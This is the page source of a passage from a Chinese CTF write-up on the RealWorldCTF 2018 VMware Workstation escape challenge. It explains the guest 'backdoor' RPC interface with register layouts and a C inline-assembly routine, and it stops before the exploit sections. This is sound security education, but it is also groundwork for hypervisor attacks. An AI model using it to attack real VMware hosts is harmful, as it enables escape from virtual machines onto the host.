PageSourceSearch

https://beafb1b1.github.io/backup/realworldctf_2018_stationescape/

html beafb1b1.github.io collected 2026-10-03 08:41:43 UTC 148,195 bytes, 1,735 lines download raw bytes

1
2
3
4
5<!doctype html>
6<html lang="en" class="no-js">
7  <head>
8    
9      <meta charset="utf-8">
10      <meta name="viewport" content="width=device-width,initial-scale=1">
11      <meta http-equiv="x-ua-compatible" content="ie=edge">
12      
13        <meta name="description" content="Kernel, Blockchain, CTF Crypto&PWN">
14      
15      
16        <link rel="canonical" href="https://beafb1b1.github.io/backup/realworldctf_2018_stationescape/">
17      
18      
19        <meta name="author" content="b1b1">
20      
21      
22        <meta name="lang:clipboard.copy" content="Copy to clipboard">
23      
24        <meta name="lang:clipboard.copied" content="Copied to clipboard">
25      
26        <meta name="lang:search.language" content="en">
27      
28        <meta name="lang:search.pipeline.stopwords" content="True">
29      
30        <meta name="lang:search.pipeline.trimmer" content="True">
31      
32        <meta name="lang:search.result.none" content="No matching documents">
33      
34        <meta name="lang:search.result.one" content="1 matching document">
35      
36        <meta name="lang:search.result.other" content="# matching documents">
37      
38        <meta name="lang:search.tokenizer" content="[\s\-]+">
39      
40      <link rel="shortcut icon" href="../../assets/images/favicon.png">
41      <meta name="generator" content="mkdocs-1.0.4, mkdocs-material-4.4.3">
42    
43    
44      
45        <title>RWCTF2018 station-escape - b1b1's share</title>
46      
47    
48    
49      <link rel="stylesheet" href="../../assets/stylesheets/application.30686662.css">
50      
51        <link rel="stylesheet" href="../../assets/stylesheets/application-palette.a8b3c06d.css">
52      
53      
54        
55        
56        <meta name="theme-color" content="#3f51b5">
57      
58    
59    
60      
60<script src="../../assets/javascripts/modernizr.74668098.js"></script>
60
61    
62    
63      
64        <link href="https://fonts.gstatic.com" rel="preconnect" crossorigin>
65        <link rel="stylesheet" href="https://fonts.googleapis.com/css?family=Roboto:300,400,400i,700|Roboto+Mono&display=fallback">
66        <style>body,input{font-family:"Roboto","Helvetica Neue",Helvetica,Arial,sans-serif}code,kbd,pre{font-family:"Roboto Mono","Courier New",Courier,monospace}</style>
67      
68    
69    <link rel="stylesheet" href="../../assets/fonts/material-icons.css">
70    
71    
72    
73      
74    
75    
76  </head>
77  
78    
79    
80    <body dir="ltr" data-md-color-primary="indigo" data-md-color-accent="indigo">
81  
82    <svg class="md-svg">
83      <defs>
84        
85        
86          <svg xmlns="http://www.w3.org/2000/svg" width="416" height="448" viewBox="0 0 416 448" id="__github"><path fill="currentColor" d="M160 304q0 10-3.125 20.5t-10.75 19T128 352t-18.125-8.5-10.75-19T96 304t3.125-20.5 10.75-19T128 256t18.125 8.5 10.75 19T160 304zm160 0q0 10-3.125 20.5t-10.75 19T288 352t-18.125-8.5-10.75-19T256 304t3.125-20.5 10.75-19T288 256t18.125 8.5 10.75 19T320 304zm40 0q0-30-17.25-51T296 232q-10.25 0-48.75 5.25Q229.5 240 208 240t-39.25-2.75Q130.75 232 120 232q-29.5 0-46.75 21T56 304q0 22 8 38.375t20.25 25.75 30.5 15 35 7.375 37.25 1.75h42q20.5 0 37.25-1.75t35-7.375 30.5-15 20.25-25.75T360 304zm56-44q0 51.75-15.25 82.75-9.5 19.25-26.375 33.25t-35.25 21.5-42.5 11.875-42.875 5.5T212 416q-19.5 0-35.5-.75t-36.875-3.125-38.125-7.5-34.25-12.875T37 371.5t-21.5-28.75Q0 312 0 260q0-59.25 34-99-6.75-20.5-6.75-42.5 0-29 12.75-54.5 27 0 47.5 9.875t47.25 30.875Q171.5 96 212 96q37 0 70 8 26.25-20.5 46.75-30.25T376 64q12.75 25.5 12.75 54.5 0 21.75-6.75 42 34 40 34 99.5z"/></svg>
87        
88      </defs>
89    </svg>
90    <input class="md-toggle" data-md-toggle="drawer" type="checkbox" id="__drawer" autocomplete="off">
91    <input class="md-toggle" data-md-toggle="search" type="checkbox" id="__search" autocomplete="off">
92    <label class="md-overlay" data-md-component="overlay" for="__drawer"></label>
93    
94      <a href="#realworldctf-final-station-escape-writeup" tabindex="1" class="md-skip">
95        Skip to content
96      </a>
97    
98    
99      <header class="md-header" data-md-component="header">
100  <nav class="md-header-nav md-grid">
101    <div class="md-flex">
102      <div class="md-flex__cell md-flex__cell--shrink">
103        <a href="https://beafb1b1.github.io/" title="b1b1's share" class="md-header-nav__button md-logo">
104          
105            <i class="md-icon"></i>
106          
107        </a>
108      </div>
109      <div class="md-flex__cell md-flex__cell--shrink">
110        <label class="md-icon md-icon--menu md-header-nav__button" for="__drawer"></label>
111      </div>
112      <div class="md-flex__cell md-flex__cell--stretch">
113        <div class="md-flex__ellipsis md-header-nav__title" data-md-component="title">
114          
115            <span class="md-header-nav__topic">
116              b1b1's share
117            </span>
118            <span class="md-header-nav__topic">
119              
120                RWCTF2018 station-escape
121              
122            </span>
123          
124        </div>
125      </div>
126      <div class="md-flex__cell md-flex__cell--shrink">
127        
128          <label class="md-icon md-icon--search md-header-nav__button" for="__search"></label>
129          
130<div class="md-search" data-md-component="search" role="dialog">
131  <label class="md-search__overlay" for="__search"></label>
132  <div class="md-search__inner" role="search">
133    <form class="md-search__form" name="search">
134      <input type="text" class="md-search__input" name="query" placeholder="Search" autocapitalize="off" autocorrect="off" autocomplete="off" spellcheck="false" data-md-component="query" data-md-state="active">
135      <label class="md-icon md-search__icon" for="__search"></label>
136      <button type="reset" class="md-icon md-search__icon" data-md-component="reset" tabindex="-1">
137        &#xE5CD;
138      </button>
139    </form>
140    <div class="md-search__output">
141      <div class="md-search__scrollwrap" data-md-scrollfix>
142        <div class="md-search-result" data-md-component="result">
143          <div class="md-search-result__meta">
144            Type to start searching
145          </div>
146          <ol class="md-search-result__list"></ol>
147        </div>
148      </div>
149    </div>
150  </div>
151</div>
152        
153      </div>
154      
155        <div class="md-flex__cell md-flex__cell--shrink">
156          <div class="md-header-nav__source">
157            
158
159
160  
161
162<a href="https://github.com/beafb1b1/beafb1b1.github.io/" title="Go to repository" class="md-source" data-md-source="github">
163  
164    <div class="md-source__icon">
165      <svg viewBox="0 0 24 24" width="24" height="24">
166        <use xlink:href="#__github" width="24" height="24"></use>
167      </svg>
168    </div>
169  
170  <div class="md-source__repository">
171    beafb1b1/beafb1b1.github.io
172  </div>
173</a>
174          </div>
175        </div>
176      
177    </div>
178  </nav>
179</header>
180    
181    <div class="md-container">
182      
183        
184      
185      
186        
187
188  
189
190<nav class="md-tabs md-tabs--active" data-md-component="tabs">
191  <div class="md-tabs__inner md-grid">
192    <ul class="md-tabs__list">
193      
194        
195  <li class="md-tabs__item">
196    
197      <a href="../.." class="md-tabs__link">
198        home
199      </a>
200    
201  </li>
202
203      
204        
205  
206  
207    <li class="md-tabs__item">
208      
209        <a href="../../kernel/linux_kernel_base/" class="md-tabs__link">
210          linux kernel
211        </a>
212      
213    </li>
214  
215
216      
217        
218  
219  
220    <li class="md-tabs__item">
221      
222        <a href="../../blockchain/collision/" class="md-tabs__link">
223          blockchain
224        </a>
225      
226    </li>
227  
228
229      
230        
231  
232  
233    <li class="md-tabs__item">
234      
235        <a href="./" class="md-tabs__link md-tabs__link--active">
236          backup
237        </a>
238      
239    </li>
240  
241
242      
243    </ul>
244  </div>
245</nav>
246      
247      <main class="md-main" role="main">
248        <div class="md-main__inner md-grid" data-md-component="container">
249          
250            
251              <div class="md-sidebar md-sidebar--primary" data-md-component="navigation">
252                <div class="md-sidebar__scrollwrap">
253                  <div class="md-sidebar__inner">
254                    <nav class="md-nav md-nav--primary" data-md-level="0">
255  <label class="md-nav__title md-nav__title--site" for="__drawer">
256    <a href="https://beafb1b1.github.io/" title="b1b1's share" class="md-nav__button md-logo">
257      
258        <i class="md-icon"></i>
259      
260    </a>
261    b1b1's share
262  </label>
263  
264    <div class="md-nav__source">
265      
266
267
268  
269
270<a href="https://github.com/beafb1b1/beafb1b1.github.io/" title="Go to repository" class="md-source" data-md-source="github">
271  
272    <div class="md-source__icon">
273      <svg viewBox="0 0 24 24" width="24" height="24">
274        <use xlink:href="#__github" width="24" height="24"></use>
275      </svg>
276    </div>
277  
278  <div class="md-source__repository">
279    beafb1b1/beafb1b1.github.io
280  </div>
281</a>
282    </div>
283  
284  <ul class="md-nav__list" data-md-scrollfix>
285    
286      
287      
288      
289
290
291  <li class="md-nav__item">
292    <a href="../.." title="home" class="md-nav__link">
293      home
294    </a>
295  </li>
296
297    
298      
299      
300      
301
302
303  <li class="md-nav__item md-nav__item--nested">
304    
305      <input class="md-toggle md-nav__toggle" data-md-toggle="nav-2" type="checkbox" id="nav-2">
306    
307    <label class="md-nav__link" for="nav-2">
308      linux kernel
309    </label>
310    <nav class="md-nav" data-md-component="collapsible" data-md-level="1">
311      <label class="md-nav__title" for="nav-2">
312        linux kernel
313      </label>
314      <ul class="md-nav__list" data-md-scrollfix>
315        
316        
317          
318          
319          
320
321
322  <li class="md-nav__item">
323    <a href="../../kernel/linux_kernel_base/" title="linux内核基础" class="md-nav__link">
324      linux内核基础
325    </a>
326  </li>
327
328        
329          
330          
331          
332
333
334  <li class="md-nav__item">
335    <a href="../../kernel/ciscn_2017_babydriver_UAF/" title="CISCN2017 babydriver(UAF)" class="md-nav__link">
336      CISCN2017 babydriver(UAF)
337    </a>
338  </li>
339
340        
341          
342          
343          
344
345
346  <li class="md-nav__item">
347    <a href="../../kernel/qwb_2018_core_ROP/" title="QWB2018 core(ROP)" class="md-nav__link">
348      QWB2018 core(ROP)
349    </a>
350  </li>
351
352        
353          
354          
355          
356
357
358  <li class="md-nav__item">
359    <a href="../../kernel/ciscn_2017_babydriver_ROP_bypass_smep/" title="CISCN2017 babydriver(ROP)" class="md-nav__link">
360      CISCN2017 babydriver(ROP)
361    </a>
362  </li>
363
364        
365          
366          
367          
368
369
370  <li class="md-nav__item">
371    <a href="../../kernel/qwb_2018_core_ret2usr/" title="QWB2018 core(ret2usr)" class="md-nav__link">
372      QWB2018 core(ret2usr)
373    </a>
374  </li>
375
376        
377          
378          
379          
380
381
382  <li class="md-nav__item">
383    <a href="../../kernel/0ctf2018_babykernel_double_fetch/" title="0CTF2018 babykernel(DF)" class="md-nav__link">
384      0CTF2018 babykernel(DF)
385    </a>
386  </li>
387
388        
389          
390          
391          
392
393
394  <li class="md-nav__item">
395    <a href="../../kernel/starctf2019_hackeme_arw/" title="STARCTF2019 hackme(ARW)" class="md-nav__link">
396      STARCTF2019 hackme(ARW)
397    </a>
398  </li>
399
400        
401          
402          
403          
404
405
406  <li class="md-nav__item">
407    <a href="../../kernel/BPF_IntOF/" title="RW BPF(Integer Overflow)" class="md-nav__link">
408      RW BPF(Integer Overflow)
409    </a>
410  </li>
411
412        
413          
414          
415          
416
417
418  <li class="md-nav__item">
419    <a href="../../kernel/balsn2019_Kcrazynote/" title="balsn2018 Krazynote" class="md-nav__link">
420      balsn2018 Krazynote
421    </a>
422  </li>
423
424        
425      </ul>
426    </nav>
427  </li>
428
429    
430      
431      
432      
433
434
435  <li class="md-nav__item md-nav__item--nested">
436    
437      <input class="md-toggle md-nav__toggle" data-md-toggle="nav-3" type="checkbox" id="nav-3">
438    
439    <label class="md-nav__link" for="nav-3">
440      blockchain
441    </label>
442    <nav class="md-nav" data-md-component="collapsible" data-md-level="1">
443      <label class="md-nav__title" for="nav-3">
444        blockchain
445      </label>
446      <ul class="md-nav__list" data-md-scrollfix>
447        
448        
449          
450          
451          
452
453
454  <li class="md-nav__item">
455    <a href="../../blockchain/collision/" title="资料收集" class="md-nav__link">
456      资料收集
457    </a>
458  </li>
459
460        
461          
462          
463          
464
465
466  <li class="md-nav__item">
467    <a href="../../blockchain/realworldctf_2019_bank/" title="RWCTF2019 bank" class="md-nav__link">
468      RWCTF2019 bank
469    </a>
470  </li>
471
472        
473          
474          
475          
476
477
478  <li class="md-nav__item">
479    <a href="../../blockchain/n1ctf_2019_smartcontract/" title="N1CTF2019 h4ck Smart Contract" class="md-nav__link">
480      N1CTF2019 h4ck Smart Contract
481    </a>
482  </li>
483
484        
485          
486          
487          
488
489
490  <li class="md-nav__item">
491    <a href="../../blockchain/hctf_2018_ez2win/" title="HCTF2018 ez2win" class="md-nav__link">
492      HCTF2018 ez2win
493    </a>
494  </li>
495
496        
497          
498          
499          
500
501
502  <li class="md-nav__item">
503    <a href="../../blockchain/bctf2018_fake3d_eosgame/" title="BCTF2018 Fake3d&EOSGAME" class="md-nav__link">
504      BCTF2018 Fake3d&EOSGAME
505    </a>
506  </li>
507
508        
509          
510          
511          
512
513
514  <li class="md-nav__item">
515    <a href="../../blockchain/ciscn2019_daysbank/" title="CISCN 2019 Daysbank" class="md-nav__link">
516      CISCN 2019 Daysbank
517    </a>
518  </li>
519
520        
521          
522          
523          
524
525
526  <li class="md-nav__item">
527    <a href="../../blockchain/qwb2019_babybank_babybet/" title="QWB 2019 babybank&babybet" class="md-nav__link">
528      QWB 2019 babybank&babybet
529    </a>
530  </li>
531
532        
533          
534          
535          
536
537
538  <li class="md-nav__item">
539    <a href="../../blockchain/byte2019_bet_hf/" title="ByteCTF 2019 bet&hf" class="md-nav__link">
540      ByteCTF 2019 bet&hf
541    </a>
542  </li>
543
544        
545          
546          
547          
548
549
550  <li class="md-nav__item">
551    <a href="../../blockchain/szjj_2019_jojo/" title="数字经济 2019 jojo" class="md-nav__link">
552      数字经济 2019 jojo
553    </a>
554  </li>
555
556        
557          
558          
559          
560
561
562  <li class="md-nav__item">
563    <a href="../../blockchain/szjj_2019_final_cow_rise/" title="数字经济 2019 final rise cow" class="md-nav__link">
564      数字经济 2019 final rise cow
565    </a>
566  </li>
567
568        
569      </ul>
570    </nav>
571  </li>
572
573    
574      
575      
576      
577
578  
579
580
581  <li class="md-nav__item md-nav__item--active md-nav__item--nested">
582    
583      <input class="md-toggle md-nav__toggle" data-md-toggle="nav-4" type="checkbox" id="nav-4" checked>
584    
585    <label class="md-nav__link" for="nav-4">
586      backup
587    </label>
588    <nav class="md-nav" data-md-component="collapsible" data-md-level="1">
589      <label class="md-nav__title" for="nav-4">
590        backup
591      </label>
592      <ul class="md-nav__list" data-md-scrollfix>
593        
594        
595          
596          
597          
598
599  
600
601
602  <li class="md-nav__item md-nav__item--active">
603    
604    <input class="md-toggle md-nav__toggle" data-md-toggle="toc" type="checkbox" id="__toc">
605    
606      
607    
608    
609      <label class="md-nav__link md-nav__link--active" for="__toc">
610        RWCTF2018 station-escape
611      </label>
612    
613    <a href="./" title="RWCTF2018 station-escape" class="md-nav__link md-nav__link--active">
614      RWCTF2018 station-escape
615    </a>
616    
617      
618<nav class="md-nav md-nav--secondary">
619  
620  
621    
622  
623  
624    <label class="md-nav__title" for="__toc">Table of contents</label>
625    <ul class="md-nav__list" data-md-scrollfix>
626      
627        <li class="md-nav__item">
628  <a href="#_1" class="md-nav__link">
629    前置知识
630  </a>
631  
632    <nav class="md-nav">
633      <ul class="md-nav__list">
634        
635          <li class="md-nav__item">
636  <a href="#open-rpc-channel" class="md-nav__link">
637    Open RPC channel
638  </a>
639  
640</li>
641        
642          <li class="md-nav__item">
643  <a href="#send-rpc-command-length" class="md-nav__link">
644    Send RPC command length
645  </a>
646  
647</li>
648        
649          <li class="md-nav__item">
650  <a href="#send-rpc-command-data" class="md-nav__link">
651    Send RPC command data
652  </a>
653  
654</li>
655        
656          <li class="md-nav__item">
657  <a href="#recieve-rpc-reply-length" class="md-nav__link">
658    Recieve RPC reply length
659  </a>
660  
661</li>
662        
663          <li class="md-nav__item">
664  <a href="#receive-rpc-reply-data" class="md-nav__link">
665    Receive RPC reply data
666  </a>
667  
668</li>
669        
670          <li class="md-nav__item">
671  <a href="#finish-receiving-rpc-reply" class="md-nav__link">
672    Finish receiving RPC reply
673  </a>
674  
675</li>
676        
677          <li class="md-nav__item">
678  <a href="#close-rpc-channel" class="md-nav__link">
679    Close RPC channel
680  </a>
681  
682</li>
683        
684      </ul>
685    </nav>
686  
687</li>
688      
689        <li class="md-nav__item">
690  <a href="#_2" class="md-nav__link">
691    漏洞分析
692  </a>
693  
694</li>
695      
696        <li class="md-nav__item">
697  <a href="#_3" class="md-nav__link">
698    漏洞利用
699  </a>
700  
701</li>
702      
703        <li class="md-nav__item">
704  <a href="#_4" class="md-nav__link">
705    关于调试
706  </a>
707  
708</li>
709      
710        <li class="md-nav__item">
711  <a href="#_5" class="md-nav__link">
712    相关材料
713  </a>
714  
715</li>
716      
717      
718      
719      
720      
721    </ul>
722  
723</nav>
724    
725  </li>
726
727        
728          
729          
730          
731
732
733  <li class="md-nav__item">
734    <a href="../gitpage_fuck/" title="gitpage采坑" class="md-nav__link">
735      gitpage采坑
736    </a>
737  </li>
738
739        
740      </ul>
741    </nav>
742  </li>
743
744    
745  </ul>
746</nav>
747                  </div>
748                </div>
749              </div>
750            
751            
752              <div class="md-sidebar md-sidebar--secondary" data-md-component="toc">
753                <div class="md-sidebar__scrollwrap">
754                  <div class="md-sidebar__inner">
755                    
756<nav class="md-nav md-nav--secondary">
757  
758  
759    
760  
761  
762    <label class="md-nav__title" for="__toc">Table of contents</label>
763    <ul class="md-nav__list" data-md-scrollfix>
764      
765        <li class="md-nav__item">
766  <a href="#_1" class="md-nav__link">
767    前置知识
768  </a>
769  
770    <nav class="md-nav">
771      <ul class="md-nav__list">
772        
773          <li class="md-nav__item">
774  <a href="#open-rpc-channel" class="md-nav__link">
775    Open RPC channel
776  </a>
777  
778</li>
779        
780          <li class="md-nav__item">
781  <a href="#send-rpc-command-length" class="md-nav__link">
782    Send RPC command length
783  </a>
784  
785</li>
786        
787          <li class="md-nav__item">
788  <a href="#send-rpc-command-data" class="md-nav__link">
789    Send RPC command data
790  </a>
791  
792</li>
793        
794          <li class="md-nav__item">
795  <a href="#recieve-rpc-reply-length" class="md-nav__link">
796    Recieve RPC reply length
797  </a>
798  
799</li>
800        
801          <li class="md-nav__item">
802  <a href="#receive-rpc-reply-data" class="md-nav__link">
803    Receive RPC reply data
804  </a>
805  
806</li>
807        
808          <li class="md-nav__item">
809  <a href="#finish-receiving-rpc-reply" class="md-nav__link">
810    Finish receiving RPC reply
811  </a>
812  
813</li>
814        
815          <li class="md-nav__item">
816  <a href="#close-rpc-channel" class="md-nav__link">
817    Close RPC channel
818  </a>
819  
820</li>
821        
822      </ul>
823    </nav>
824  
825</li>
826      
827        <li class="md-nav__item">
828  <a href="#_2" class="md-nav__link">
829    漏洞分析
830  </a>
831  
832</li>
833      
834        <li class="md-nav__item">
835  <a href="#_3" class="md-nav__link">
836    漏洞利用
837  </a>
838  
839</li>
840      
841        <li class="md-nav__item">
842  <a href="#_4" class="md-nav__link">
843    关于调试
844  </a>
845  
846</li>
847      
848        <li class="md-nav__item">
849  <a href="#_5" class="md-nav__link">
850    相关材料
851  </a>
852  
853</li>
854      
855      
856      
857      
858      
859    </ul>
860  
861</nav>
862                  </div>
863                </div>
864              </div>
865            
866          
867          <div class="md-content">
868            <article class="md-content__inner md-typeset">
869              
870                
871                  <a href="https://github.com/beafb1b1/beafb1b1.github.io/blob/dev/docs/backup/realworldctf_2018_stationescape.md" title="Edit this page" class="md-icon md-content__icon">&#xE3C9;</a>
872                
873                
874                <h1 id="realworldctf-final-station-escape-writeup">RealWorldCTF Final Station-Escape Writeup<a class="headerlink" href="#realworldctf-final-station-escape-writeup" title="Permanent link">&para;</a></h1>
875<p>RWCTF Final 2018是我们觉得非常不错的一次竞赛,非常贴近实战,其中每道题目都值得深入研究。其中Station-Escape是一道VMWare Workstation逃逸的题目,我们觉得非常cool,所以进行了详细分析,这里非常感谢长亭科技的flyyy师傅贡献的非常优秀的题目和悉心的技术指导。本文分析工作由r3kapig的Ne0和bibi完成。</p>
876<h2 id="_1">前置知识<a class="headerlink" href="#_1" title="Permanent link">&para;</a></h2>
877<p>在VMWare中,有一个奇特的攻击面,就是vmtools。vmtools帮助宿主机和客户机完成包括文件传输在内的一系列的通信和交互,其中使用了一种被称为backdoor的接口。backdoor接口是如何和宿主机进行通信的呢,我们观察backdoor函数的实现,可以发现如下代码:</p>
878<div class="codehilite"><pre><span></span><span class="n">MOV</span> <span class="n">EAX</span><span class="p">,</span> <span class="mi">564</span><span class="n">D5868h</span>                      <span class="cm">/* magic number     */</span>
879<span class="n">MOV</span> <span class="n">EBX</span><span class="p">,</span> <span class="n">command</span><span class="o">-</span><span class="n">specific</span><span class="o">-</span><span class="n">parameter</span>
880<span class="n">MOV</span> <span class="n">CX</span><span class="p">,</span>  <span class="n">backdoor</span><span class="o">-</span><span class="n">command</span><span class="o">-</span><span class="n">number</span>
881<span class="n">MOV</span> <span class="n">DX</span><span class="p">,</span>  <span class="mi">5658</span><span class="n">h</span>
881                          <span class="cm">/* VMware I/O Port  */</span>
882
883<span class="n">IN</span>  <span class="n">EAX</span><span class="p">,</span> <span class="n">DX</span> <span class="p">(</span><span class="n">or</span> <span class="n">OUT</span> <span class="n">DX</span><span class="p">,</span> <span class="n">EAX</span><span class="p">)</span>
884</pre></div>
885
886<p>首先需要明确的是,该接口在用户态就可以使用。在通常环境下,IN指令是一条特权指令,在普通用户态程序下是无法使用的。因此,运行这条指令会让用户态程序出错并陷出到hypervisor层,从而hypervisor层可以对客户机进行相关的操作和处理,因此利用此机制完成了通信。利用backdoor的通信机制,客户机便可以使用RPC进行一系列的操作,例如拖放、复制、获取信息、发送信息等等。</p>
887<p>backdoor机制所有的命令和调用方法,基本都是首先设置寄存器、然后调用IN或OUT特权指令的模式。那么我们使用backdoor传输RPC指令需要经过哪些步骤呢?我们以本题涉及到的backdoor操作进行说明:</p>
888<div class="codehilite"><pre><span></span>     <span class="o">+------------------+</span>
889     <span class="o">|</span> <span class="nx">Open</span> <span class="nx">RPC</span> <span class="nx">channel</span> <span class="o">|</span>
890     <span class="o">+---------+--------+</span>
891               <span class="o">|</span>
892  <span class="o">+------------</span><span class="nx">v</span><span class="o">-----------+</span>
893  <span class="o">|</span> <span class="nx">Send</span> <span class="nx">RPC</span> <span class="nx">command</span> <span class="nx">length</span><span class="o">|</span>
894  <span class="o">+------------+-----------+</span>
895               <span class="o">|</span>
896  <span class="o">+------------</span><span class="nx">v</span><span class="o">-----------+</span>
897  <span class="o">|</span> <span class="nx">Send</span> <span class="nx">RPC</span> <span class="nx">command</span> <span class="nx">data</span>  <span class="o">|</span>
898  <span class="o">+------------+-----------+</span>
899               <span class="o">|</span>
900 <span class="o">+-------------</span><span class="nx">v</span><span class="o">------------+</span>
901 <span class="o">|</span> <span class="nx">Recieve</span> <span class="nx">RPC</span> <span class="nx">reply</span> <span class="nx">length</span> <span class="o">|</span>
902 <span class="o">+-------------+------------+</span>
903               <span class="o">|</span>
904  <span class="o">+------------</span><span class="nx">v</span><span class="o">-----------+</span>
905  <span class="o">|</span> <span class="nx">Receive</span> <span class="nx">RPC</span> <span class="nx">reply</span> <span class="nx">data</span> <span class="o">|</span>
906  <span class="o">+------------+-----------+</span>
907               <span class="o">|</span>
908<span class="o">+--------------</span><span class="nx">v</span><span class="o">-------------+</span>
909<span class="o">|</span> <span class="nx">Finish</span> <span class="nx">receiving</span> <span class="nx">RPC</span> <span class="nx">reply</span> <span class="o">|</span>
910<span class="o">+--------------+-------------+</span>
911               <span class="o">|</span>
912     <span class="o">+---------</span><span class="nx">v</span><span class="o">---------+</span>
913     <span class="o">|</span> <span class="nx">Close</span> <span class="nx">RPC</span> <span class="nx">channel</span> <span class="o">|</span>
914     <span class="o">+-------------------+</span>
915</pre></div>
916
917<blockquote>
918<p>以下内容主要参考(该文档和真实逆向情况略有出入,将会在后文中说明):<a href="https://sites.google.com/site/chitchatvmback/backdoor">https://sites.google.com/site/chitchatvmback/backdoor</a></p>
919</blockquote>
920<h3 id="open-rpc-channel">Open RPC channel<a class="headerlink" href="#open-rpc-channel" title="Permanent link">&para;</a></h3>
921<blockquote>
922<p>RPC subcommand:00h</p>
923</blockquote>
924<p>调用IN(OUT)前,需要设置的寄存器内容:</p>
925<div class="codehilite"><pre><span></span><span class="n">EAX</span> <span class="o">=</span> <span class="mi">564</span><span class="n">D5868h</span> <span class="o">-</span> <span class="n">magic</span> <span class="n">number</span>
926<span class="n">EBX</span> <span class="o">=</span> <span class="mi">49435052</span><span class="n">h</span> <span class="o">-</span> <span class="n">RPC</span> <span class="n">open</span> <span class="n">magic</span> <span class="n">number</span> <span class="p">(</span><span class="err">&#39;</span><span class="n">RPCI</span><span class="err">&#39;</span><span class="p">)</span>
927<span class="n">ECX</span><span class="p">(</span><span class="n">HI</span><span class="p">)</span> <span class="o">=</span> <span class="mo">0000</span><span class="n">h</span> <span class="o">-</span> <span class="n">subcommand</span> <span class="n">number</span>
928<span class="n">ECX</span><span class="p">(</span><span class="n">LO</span><span class="p">)</span> <span class="o">=</span> <span class="mo">001</span><span class="n">Eh</span> <span class="o">-</span> <span class="n">command</span> <span class="n">number</span>
929<span class="n">EDX</span><span class="p">(</span><span class="n">LO</span><span class="p">)</span> <span class="o">=</span> <span class="mi">5658</span><span class="n">h</span> <span class="o">-</span> <span class="n">port</span> <span class="n">number</span>
930</pre></div>
931
932<p>返回值:</p>
933<div class="codehilite"><pre><span></span><span class="n">ECX</span> <span class="o">=</span> <span class="mo">00010000</span><span class="nl">h</span><span class="p">:</span> <span class="n">success</span> <span class="o">/</span> <span class="mo">00000000</span><span class="nl">h</span><span class="p">:</span> <span class="n">failure</span>
934<span class="n">EDX</span><span class="p">(</span><span class="n">HI</span><span class="p">)</span> <span class="o">=</span> <span class="n">RPC</span> <span class="n">channel</span> <span class="n">number</span>
935</pre></div>
936
937<p>该功能用于打开RPC的channel,其中ECX会返回是否成功,EDX返回值会返回一个channel的编号,在后续的RPC通信中,将使用该编号。这里需要注意的是,在单个虚拟机中只能同时使用8个channel(<code>#0 - #7</code>),当尝试打开第9个channel的时候,会检查其他channel的打开时间,如果时间过了某一个值,会将超时的channel关闭,再把这个channel的编号返回;如果都没有超时,create channel会失败。</p>
938<p>我们可以使用如下函数实现Open RPC channel的过程:</p>
939<div class="codehilite"><pre><span></span><span class="kt">void</span> <span class="nf">channel_open</span><span class="p">(</span><span class="kt">int</span> <span class="o">*</span><span class="n">cookie1</span><span class="p">,</span><span class="kt">int</span> <span class="o">*</span><span class="n">cookie2</span><span class="p">,</span><span class="kt">int</span> <span class="o">*</span><span class="n">channel_num</span><span class="p">,</span><span class="kt">int</span> <span class="o">*</span><span class="n">res</span><span class="p">){</span>
940     <span class="k">asm</span><span class="p">(</span><span class="s">&quot;movl %%eax,%%ebx</span><span class="se">
940\n\t</span><span class="s">&quot;</span>
941                <span class="s">&quot;movq %%rdi,%%r10</span><span class="se">\n\t</span><span class="s">&quot;</span>
942                <span class="s">&quot;movq %%rsi,%%r11</span><span class="se">\n\t</span><span class="s">&quot;</span>
943                <span class="s">&quot;movq %%rdx,%%r12</span><span class="se">\n\t</span><span class="s">&quot;</span>
944        <span class="s">&quot;movq %%rcx,%%r13</span><span class="se">\n\t</span><span class="s">&quot;</span>
945                <span class="s">&quot;movl $0x564d5868,%%eax</span><span class="se">\n\t</span><span class="s">&quot;</span>
946                <span class="s">&quot;movl $0xc9435052,%%ebx</span><span class="se">\n\t</span><span class="s">&quot;</span>
947                <span class="s">&quot;movl $0x1e,%%ecx</span><span class="se">\n\t</span><span class="s">&quot;</span>
948                <span class="s">&quot;movl $0x5658,%%edx</span><span class="se">\n\t</span><span class="s">&quot;</span>
949                <span class="s">&quot;out %%eax,%%dx</span><span class="se">\n\t</span><span class="s">&quot;</span>
950                <span class="s">&quot;movl %%edi,(%%r10)</span><span class="se">\n\t</span><span class="s">&quot;</span>
951                <span class="s">&quot;movl %%esi,(%%r11)</span><span class="se">\n\t</span><span class="s">&quot;</span>
952                <span class="s">&quot;movl %%edx,(%%r12)</span><span class="se">\n\t</span><span class="s">&quot;</span>
953        <span class="s">&quot;movl %%ecx,(%%r13)</span><span class="se">\n\t</span><span class="s">&quot;</span>
954        <span class="o">:</span>
955                <span class="o">:</span>
956                <span class="o">:</span><span class="s">&quot;%rax&quot;</span><span class="p">,</span><span class="s">&quot;%rbx&quot;</span><span class="p">,</span><span class="s">&quot;%rcx&quot;</span><span class="p">,</span><span class="s">&quot;%rdx&quot;</span><span class="p">,</span><span class="s">&quot;%rsi&quot;</span><span class="p">,</span><span class="s">&quot;%rdi&quot;</span><span class="p">,</span><span class="s">&quot;%r8&quot;</span><span class="p">,</span><span class="s">&quot;%r10&quot;</span><span class="p">,</span><span class="s">&quot;%r11&quot;</span><span class="p">,</span><span class="s">&quot;%r12&quot;</span><span class="p">,</span><span class="s">&quot;%r13&quot;</span>
957        <span class="p">);</span>
958<span class="p">}</span>
959</pre></div>
960
961<h3 id="send-rpc-command-length">Send RPC command length<a class="headerlink" href="#send-rpc-command-length" title="Permanent link">&para;</a></h3>
962<blockquote>
963<p>RPC subcommand:01h</p>
964</blockquote>
965<p>调用:</p>
966<div class="codehilite"><pre><span></span><span class="n">EAX</span> <span class="o">=</span> <span class="mi">564</span><span class="n">D5868h</span> <span class="o">-</span> <span class="n">magic</span> <span class="n">number</span>
967<span class="n">EBX</span> <span class="o">=</span> <span class="n">command</span> <span class="n">length</span> <span class="p">(</span><span class="n">not</span> <span class="n">including</span> <span class="n">the</span> <span class="n">terminating</span> <span class="nb">NULL</span><span class="p">)</span>
968<span class="n">ECX</span><span class="p">(</span><span class="n">HI</span><span class="p">)</span> <span class="o">=</span> <span class="mo">0001</span><span class="n">h</span> <span class="o">-</span> <span class="n">subcommand</span> <span class="n">number</span>
969<span class="n">ECX</span><span class="p">(</span><span class="n">LO</span><span class="p">)</span> <span class="o">=</span> <span class="mo">001</span><span class="n">Eh</span> <span class="o">-</span> <span class="n">command</span> <span class="n">number</span>
970<span class="n">EDX</span><span class="p">(</span><span class="n">HI</span><span class="p">)</span> <span class="o">=</span> <span class="n">channel</span> <span class="n">number</span>
